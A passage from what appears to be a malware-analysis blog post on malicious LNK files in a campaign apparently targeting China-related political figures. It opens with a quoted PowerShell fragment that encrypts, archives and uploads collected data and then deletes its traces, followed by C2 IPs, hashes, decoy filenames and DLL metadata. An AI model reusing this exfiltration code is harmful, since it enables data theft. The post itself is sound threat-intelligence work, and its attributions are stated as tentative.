4RKDLymbgSDghM7HHxZprfPfWcoBQDCL156NPOAsDRiLZ57zj8kcqjq/zgGFAuyhmfmaFBCRz75NIN33Ze105pNzOZXAO975/IpS4xNimVA7vmeEEAF7JQ+W3JMNnzXM5Tx1aMyiaSVY3k+07H45hPEiAJx07f/f94EDwTBNkhL3RN1B30+B75d/6sjn+T4u3bkZEx88LLwRQEQf/wO3Ey0OaH1i04prS6HC6R63XRPNCBYWUzDcTFYLidwqNBfBzwMRsPIoLdmav4BOdVNIubPhCINzT6FcaFyYB9kHsDXEM8o+Tou9eNhIBE1koJ9qjhGBFi+s20Sj3qE4mv8kpw== AQAB "); $7.encrypt([text.encoding]::utf8.getbytes("$3"),$False) > "$env:tmp\id"; iex ("& '$env:AppData\WinRAR\Rar.exe' a -ep1 -y '$env:tmp\id.rar' '$env:tmp\id'")|out-null; while(!(ts3 (gi "$env:tmp\id.rar") $s 'id')){sleep -s 180}x56 $3 "$env:tmp\start.rar" "$env:tmp\start.log"; ts3 (gi "$env:tmp\start.rar") $s 'start'; del -fo "$env:tmp\id","$env:tmp\id.rar","$env:tmp\start.rar","$env:tmp\start.log"; sr2 $3 $s

The PowerShell scripts do vary between the samples, but maintain the same key features. Some have blocks of Base64 to obfuscate the calling of the DLL, while others have this code in the clear. Additionally, the PowerShell script passed as a parameter with the DLL does vary slightly.

But at a very high level, the PowerShell extracts out more data from the LNK file, expands that data into a temporary location, loads a malicious dll (with a further PowerShell script as a parameter), obtain user information and data, and encrypts it before sending it back to a C2 server. The 360 TIC report examines this code in depth.

To me, however, what stood out was a string which I have redacted appended to the collected data, which could refer to a username or social media handle to identify the origin of returned data.

Looking at the other LNK samples more of these handle-type names were identified. Of these I was able to identify a social media account for at least two of these type of strings in the samples:

Summary of all the key IOCs from the PowerShell identifies possible handles and C2 infrastructure:

Identifying String SHA 256 Hash IP Addresses Storage Server User Agent Other String 1 20ad6fa72982a6ba0f9499361b2aa3a3

f5cca73fd397c2969d08a4c5f2866814 159.65.127.93

139.59.238.1

138.197.142.236 0123.nyc3.digitaloceanspaces.com Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36 Embedded Base64 to execute DLL String 2 b0d7118d75c0f2a99fa5b319148b8914

8800e5db06ee403d6a31c451a8a54f2b 139.59.226.29

188.226.144.42

139.59.230.181 0123.nyc3.digitaloceanspaces.com Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36 Embedded Base64 to execute DLL String 3 70b6961af57bce72b89103197c8897a4

ae3ce5fdb835ccd050f24acbac52900d 159.65.74.97

159.65.127.93

128.199.73.43

05012.ams3.digitaloceanspaces.com Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36 String 1 ea6e7c9b9110c7c21062908be51dd3f8

81490b40b9b77a534fdc7812ab5cd2af 159.65.127.93

139.59.238.1

138.197.142.236 0123.nyc3.digitaloceanspaces.com Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36 Embedded Base64 to execute DLL String 4 6ccad83fb9f7a50ac95e3e865a27be0

288279e76fcd3b5af495c6fcf6d58fa36 178.128.110.214

198.211.118.118

138.197.135.170

59.73.16.165

N/A Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like DA) Chrome/62.0.3202.94 Safari/.36 Using FTP server rather than Digital Ocean

Hey Taxi!! Cab!!

The PowerShell further extracted a CAB file that contained further files: PDFs, DOCXs, DOCs, and JPEGs along with a DLL with a non-standard extension (e.g. .g ), and a legitimate copy of rar.exe . The dropped files (sans the .dll, see below) are:

String of Interest # LNK File Name Dropped Files Translated Dropped Files SHA256 Hashes String 1 陈婧简历+作品.lnk 《互联网发展：信息与动态》7月刊原稿.docx

《中国工商报》官方微博作品.docx

陈婧+13957937111+简历.doc "Internet Development: Information and Development" July Issue.docx

"China Business News" official Weibo works.docx

Chen Jing + 13957937111 + resume.doc ca1aea9710219b68fe30b964a526dc82efa08d9032959efd252f7197af1deb21

1a7c9ac35f4c89fe4906ee1c512c2fc5306d8d97d7ab44cc7726475923a311f1

fac0bfb2aedea0fde6e4f239cbfd4de9d8db55e6041cf3f62956b2dc50620506 String 2 周文重：2018博鳌亚洲论坛感谢函.lnk 周文重：2018博鳌亚洲论坛感谢函.doc Zhou Wenzhong: Thank you letter for Boao Forum for Asia 2018.doc 32b3c6920eb5fcd8bddf55154e6e17453a4f07919216e7df6d84fb3f57a64966 String 3 【2018前海合作论坛】.lnk 附件1-2018前海合作论坛方案.pdf

附件2-参会回执.docx

附件3-深圳市前海香港商会简介.pdf2018前海合作论坛邀请函.pdf Annex 1-2018 Qianhai Cooperation Forum Program.pdf

Annex 2-Participation Receipt.docx

Attachment-3-Brief introduction of Shenzhen Qianhai Hong Kong Chamber of Commerce.pdf

2018 Qianhai Cooperation Forum Invitation Letter.pdf 94aa26bac896f65cfebbb76efa9b7009c658e01e2d52d2da338483c3fb5f3188

52384bf0f4e694eb030a31f82b74e4fdcb261e11ede4fefa3cc5f2782bdd370b

f600c66bc52c84698fb52a1f12d2f50fbe3b64754b226e8adb65f0b44a831dc8

091880728698db599e2b577d629d3bc6c9a9b40370f3ce0b9943cee8cbf20302 String 1 《政法网络舆情》会员申请.lnk 《政法网络舆情》会员征集函.doc

婺城分局祝您鸡年行大运-1.jpg

婺城分局祝您鸡年行大运-2.jpg

婺城分局祝您鸡年行大运-3.jpg

婺城分局祝您鸡年行大运-4.jpg

婺城分局祝您鸡年行大运-5.jpg

婺城分局祝您鸡年行大运-6.jpg "Politics and Law Network Public Opinion" Membership Letter.doc

Tancheng Branch wishes you a good luck in the Year of the Rooster-1.jpg

Tancheng Branch wishes you a good luck in the Year of the Rooster-2.jpg

Tancheng Branch wishes you a good luck in the Year of the Rooster-3.jpg

Tancheng Branch wishes you a good luck in the Year of the Rooster-4.jpg

Tancheng Branch wishes you a good luck in the Year of the Rooster-5.jpg

Tancheng Branch wishes you a good luck in the Year of the Rooster-6.jpg ab0b6e3a24a4b9f102a58b8536f68ddd560e8b42c16652b9db388ef981bbf165

f6ca0e0bb33163143867bb496f53a6f329a927c06af0c0ddc9506d3c3fd3d335

6fb39753349dd8811270be863b61d0d42120c3452b8b09964e3e6c1d3ab21b7b

7dc76e3c60fac07d61d6dd183624458cf982b25121bcd6a26090365b0bb089d5

8297b9d4f7f0ffb7a8fa99d5cfe93818cb23ddbd99722dbba59e58fab27a86b9

687535ba02c808d795f4893962f0d9b650cea8df40d1de80ea095befe0064b91

b787ff47b1db14409c5524e4bc5f763e3eb5cec3cf34aa553f2b41501e955737 String 4 《观察者网》采访提纲暨相关新闻附件.lnk 《观察者网》采访提纲.docx

蔡英文接受法新社专访问答全文.docx

美“友台派”议员又作妖，提“2018年台湾国际参与法案”.docx

美参议员望通过新法案 倡议加强美与亚洲多方面长期合作.docx

美议员鼓动特朗普抛弃“一中”政策与台湾“复交”,专家可能性微乎其微.docx "Observer.com" Interview Outline.docx

Tsai Ing-wen accepted the full text of the AFP interview.docx

US "Taiwanese" MPs have made a demon again, mentioning "Taiwan International Participation Act of 2018" .docx

U.S. Senators hope to pass new bill initiative to strengthen long-term cooperation between the United States and Asia.docx

U.S. lawmakers urge Trump to abandon "one China" policy and "return diplomatic relations" with Taiwan, experts are extremely unlikely.docx 0ad09b21b36ddbaa24653953181cc092400eb992aac329bde58952b96dc0aa9d

140e069093b42d9044c8ccc53cef1b3b0226248b9d7302eb64dcdf92256fa204

e53bfb8826d20be3fc043a08c733221bddc2e1ba394bef9d40144c862ccf377f

283f88c50234a4b3961384c85124c52878ab6af4801cbc0c86a3e1d779c1c48f

afe2f381bf7bcb9309db216a3f956dbf05c70da9bce9dcdcabde7ef0c46c01c9

At this stage, I haven’t done any analysis on these 20 files, except basic metadata checks. Of possible interest is the file 陈婧+13957937111+简历.doc has the email address [email protected] embedded as a hyperlink.

DLLs

The five DLLs have similar characteristics. All are masquerading as a NVIDIA dll file with similar matadata as below:

A check of relevant hashes indicates three samples are the same, and the other two are different; however, have a recorded compilation time within 12 seconds of each other.

Identifying String DLL filename SHA 256 Hash ImpHash Compilation Time String 4 SwYLR.T a76cb406145b1e094a8ec46ae0cf9594

95bfa4aa19ccf6b48353cc459c00005b 9442FCDB7DAAB60B53A67D5A419F71F3 compiler-stamp: Thu May 31 23:06:58 2018

debugger-stamp: Thu May 31 23:06:58 2018

String 1 lyNMk.v f9ee8f1ca51475397e2c190290c0aeb7

4a9f8a36bc0b6dfb500af7ca47d45daa 6F5C40C66163B6F9E9E406E6AB83E3CC compiler-stamp: Wed Feb 07 22:04:01 2018

debugger-stamp: Wed Feb 07 22:04:01 2018

String 3 FLrzH.w 92ad7532f7b6cb5b6812da586ae9c2c6

ddf65de38aebf4067853968be20e72a2 8E02074B51513C018F9B73FEB0BEC905 compiler-stamp: Thu May 31 23:07:10 2018

debugger-stamp: Thu May 31 23:07:10 2018

String 2 hxCEm.G f9ee8f1ca51475397e2c190290c0aeb7

4a9f8a36bc0b6dfb500af7ca47d45daa 6F5C40C66163B6F9E9E406E6AB83E3CC compiler-stamp: Wed Feb 07 22:04:01 2018

debugger-stamp: Wed Feb 07 22:04:01 2018

String 1 beoql.g f9ee8f1ca51475397e2c190290c0aeb7

4a9f8a36bc0b6dfb500af7ca47d45daa 6F5C40C66163B6F9E9E406E6AB83E3CC compiler-stamp: Wed Feb 07 22:04:01 2018

debugger-stamp: Wed Feb 07 22:04:01 2018



The files lyNMk.v , hxCEm.G and beoql.g with SHA256 f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa were recorded on Virus Total (35/67) with a first submission date of 2018-04-26 10:14:33 and had the recorded alternative names as nvapisetlib , 96d9fd90e180aaf435c21334858654f6.vir (Norton AV) and beoql.g . The other two files were not recorded by that hash on Virus Total.

A rough timeline (if all the dates and times are believed):

2018-02-07: Compilation Date of DLL sample f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa

2018-04-26: First Submission to VT of DLL sample f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa

2018-05-31: Compilation Date of DLL samples 92ad7532f7b6cb5b6812da586ae9c2c6ddf65de38aebf4067853968be20e72a2 and a76cb406145b1e094a8ec46ae0cf959495bfa4aa19ccf6b48353cc459c00005b

2018-07-12: 360 TIC report

2018-10-28: Last Submission of DLL sample f9ee8f1ca51475397e2c190290c0aeb74a9f8a36bc0b6dfb500af7ca47d45daa to VT

2019-10-29: Submission to Hybrid-Analysis of five LNK samples

2019-10-29: Submission to Virus Total of only one LNK sample: 70b6961af57bce72b89103197c8897a4ae3ce5fdb835ccd050f24acbac52900d

The APT Link to the LNKs

Googling key elements of the above malware samples, led me to the abovementioned report by 360 TIC who detailed the exact campaign for only one of the files (ostensibly sample SHA256 ea6e7c9b9110c7c21062908be51dd3f881490b40b9b77a534fdc7812ab5cd2af). Their report is extensive, and looks at the DLL dropped and its later actions and persistence.

However, it is clear the samples were part of a campaign, and two of the files I can very tentatively associate to an online account. One identified social media account has limited use, and is linked to other accounts associated with the Hong Kong democracy movement. The second account has not been active since 2012 but posted information relating to Chinese corruption and apparent unauthorised detentions by the Chinese state.

However, there needs to be further information before any conclusion can be made as to the purpose of these strings.

If my hypothesis is correct then each malware sample was customised to include the suffix of a known identifier for the target. This likely means that the attacker did not know much about the target (i.e. end infrastructure they would potentially compromise).

Intelligence Gaps

There are significant intelligence gaps that require either deeper analysis on the samples or further external information:

Why were the samples uploaded now, and en-mass?

Are the suspicious string suffixes related to targets? Or are they used as reference to accounts controlled by the attacker? Or unrelated at all.

At least one sample is likely dated from the original 360 TIC report meaning that it was around mid-2018. What is the relationship of this sample to the others?

Conclusion

There is a bunch of further analysis to be done: including on the DLLs and the other extracted files from the malicious CAB files. This post is initially seeking to put the files out there, and share the comparisons between them.

I’ll reiterate at this time that the ‘attribution’ to the Sapphire Mushroom group is not mine, and solely based on previous reporting and the high likelihood these samples are from the same campaign.

If you have more information, questions, or analysis feel free to hit me up on Twitter or via email at [email protected]. Thanks for reading!